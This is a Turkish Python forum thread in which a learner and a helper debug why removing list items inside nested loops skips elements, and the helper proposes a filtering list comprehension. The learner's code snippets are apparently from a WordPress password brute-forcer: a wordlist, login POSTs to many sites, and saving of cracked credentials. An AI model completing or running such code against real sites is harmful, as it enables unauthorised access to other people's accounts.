For Döngüsünün İçinde Listedeki Şeyi Nasıl Silebilirim ?

Hocam Sorun Vermiyor Fakat Siteyide Silmiyor.

  1. satırda sifrelerr diye bir liste tanımlamışsınız, ancak bu liste cevabın hayır olduğu durumda oluşturuluyor. Sorunun cevabının evet olduğu durumda ise sifrelerr diye bir liste yok ancak aynı durumda for i in sifrelerr diye de bir kod yazmışsınız.

Yanlışınız Var Hocam :slight_smile:

for x in siteler:
    for i in sifreler:
        try:

Bu Yazıyor :slight_smile:

Tamam, sifreler listesi hangi satırda tanımlı, ben göremedim de?

from Scripts.bruteforcewordlist import*

Bu Modülün İçerisinde.

Anladım.

Örneğinizi nasıl kullanacağımı bilmediğim için, başka bir örnek üzerinde, iki farklı liste üzerinde silme işlemini denemeye çalıştım. Ancak tuhaf bir sorunla karşılaştım.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

a = [i for i in range(10)]
b = [i**2 for i in range(10)]

print(a)
print(b)

for i in a:
    for j in b:
        if i == j:
            a.remove(i)
            b.remove(j)

print(a)
print(b)

Bu yazdığım kodlar ile aşağıdaki çıktıyı aldım:

[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
[0, 1, 4, 9, 16, 25, 36, 49, 64, 81]
[1, 2, 3, 5, 6, 7, 8]
[1, 16, 25, 36, 49, 64, 81]

Yukarıdaki örneğe göre 0, 4 ve 9 her iki listede olduğu için silindiler. Ancak 1 de her iki listede bulunuyor ve silinmemiş. Yani bu yazdığım komut tam anlamıyla istediğim tarzda bir silme işlemi yapmadı. Acaba sizin de sorununuz buna benziyor mu diye düşünüyorum.

Sanırım Bunun Gibi Hocam… Benide Şaşırtıyor Bu Sonuç :slight_smile:

Hımm, sorunla ilgili bir çözüm bulursak, burada paylaşalım. Şimdilik yapabileceğim tek şey, bu sorunun neden oluştuğunu araştırmak olur. Size de kolay gelsin.

        for x in siteler:
            for i in sifrelerr:
                try:
                    siteler.remove(x)

Hocam Böyle Yapınca Sorun Kalkıyor Fakat Bu Olayın Asıl Amacı Program Giriş Yaparsa Kaldırmak… O Yüzden Aklım Hala Karışık…

Ben de neden silmediğini anlamış değilim. Tuhaf bir sorun.

Acaba İlk Siteleri İşleme Aldığımız İçinmi ? Fakat Diğer Türlüde Program İstediğim Gibi Çalışmıyor Diğer Sitelerde Tek Tek Deniyor Şifreleri
Şöyle Birşey Yapsak Nasıl Olur:

if "http:" in siteler:
    for i in sifrelerr:
    try:

Şeklinde Fakat Busefer Siteleri Nasıl Tek Tek Okutucam Aslında .readline Yaparak Her Seferinde Satırları İşleme Alsam ?

else:
    siteler.remove(x)
    print("Hatalı Şifre!", x, i)
    continue

Böyle Yapınca Sorun Halloluyor Fakat Buseferde 1. Satırdakini Silip 2. Satırdakini İşleme Alıp Sonra 3. Satırdakini Silip 4.yü İşleme Alıyor…

İngilizceniz varsa, sorunu bir de stackoverflow’da paylaşın, belki sorunu çözebilecek bir cevap gelebilir.

Sorunumu Anlatacak Kadar İngilizcemin Pek Olduğunu Sanmıyorum Ama Oradada Paylaşmayı Deniyeceğim Sorunumu :slight_smile:

Belki remove’u kullanmak yerine şöyle bir şey yapabilirsiniz?

            ayikla = []

            for x in siteler:
                for i in sifreler:
                    try:

                        payload = {'log': kullaniciadi, 'pwd': i}
                        r = requests.post(x, data=payload,timeout=5)
                        if "Dashboard" in r.text or "dashboard" in r.text:
                            print("Giriş Başarılı:", x + ":" + kullaniciadi + ":" + i)
                            girisyapilansiteler.write("Siteler:\n"+"Kullanıcı Adı:"+" "+" "+"Sifreler:")
                            girisyapilansiteler.write("\n"+x+"admin"+" "+" "+i)
                            ayikla.append(x)
                            ayiklanmis = [i for i in siteler if i not in ayikla]

Sorunsuz Çalışıcaksa Olabilirde Hocam Tam Olarak Mantığı Anlatabilirmisiniz Okadar Üst Düzey Python Bilgim Yok Her Gün Yeni Proje Yapmaya Çalışarak birşeyler Öğreniyorum O Yüzden :slight_smile:

Yani demek istediğim şu:

ayikla isimli boş bir liste tanımlayın, şayet “Dashboard” veya “dashboard” r.text içindeyse, bu x sitesini ayikla isimli boş listeye ekleyin.

Daha sonra da ayiklanmis isimli yeni bir liste tanımlayın, bu listenin elemanları siteler listesinin elemanlarından oluşsun ancak bu siteler listesinin elemanı şayet ayikla listesinin de elemanıysa, ayiklanmis listesine bu eleman eklenmesin (ayiklanmis = [i for i in siteler if i not in ayikla]). Sonuç olarak sanki bu x sitesi, siteler listesinden silinmişcesine yeni listede yer almasın.

Anladım… Peki Direkt i for i in siteler yerine siteler yazsaydık olmazmıydı hocam ? kod karışıklılığı yerine

Bu i elemanı’nı ayikla isimli sitede olup olmadığını denetlemek için kullanıyoruz.
Yani bu üretecin Türkçesi şöyle olur: siteler içindeki elemanlardan, ayikla listesinin içinde olmayan her bir eleman, ayiklanmis listesinin öğesidir.

Bu Arada Anladığım Mantık Doğrumu Hocam:
ayiklanmiş=[i for i in siteler if not in ayikla] bölümünde ilk önce for döngüsü oluşturup sonra if ile teyit ettirip ayiklada yoksa işleme koysun varsa koymasın ve bu baştaki i sebebide for döngüsü yüzündenmi ?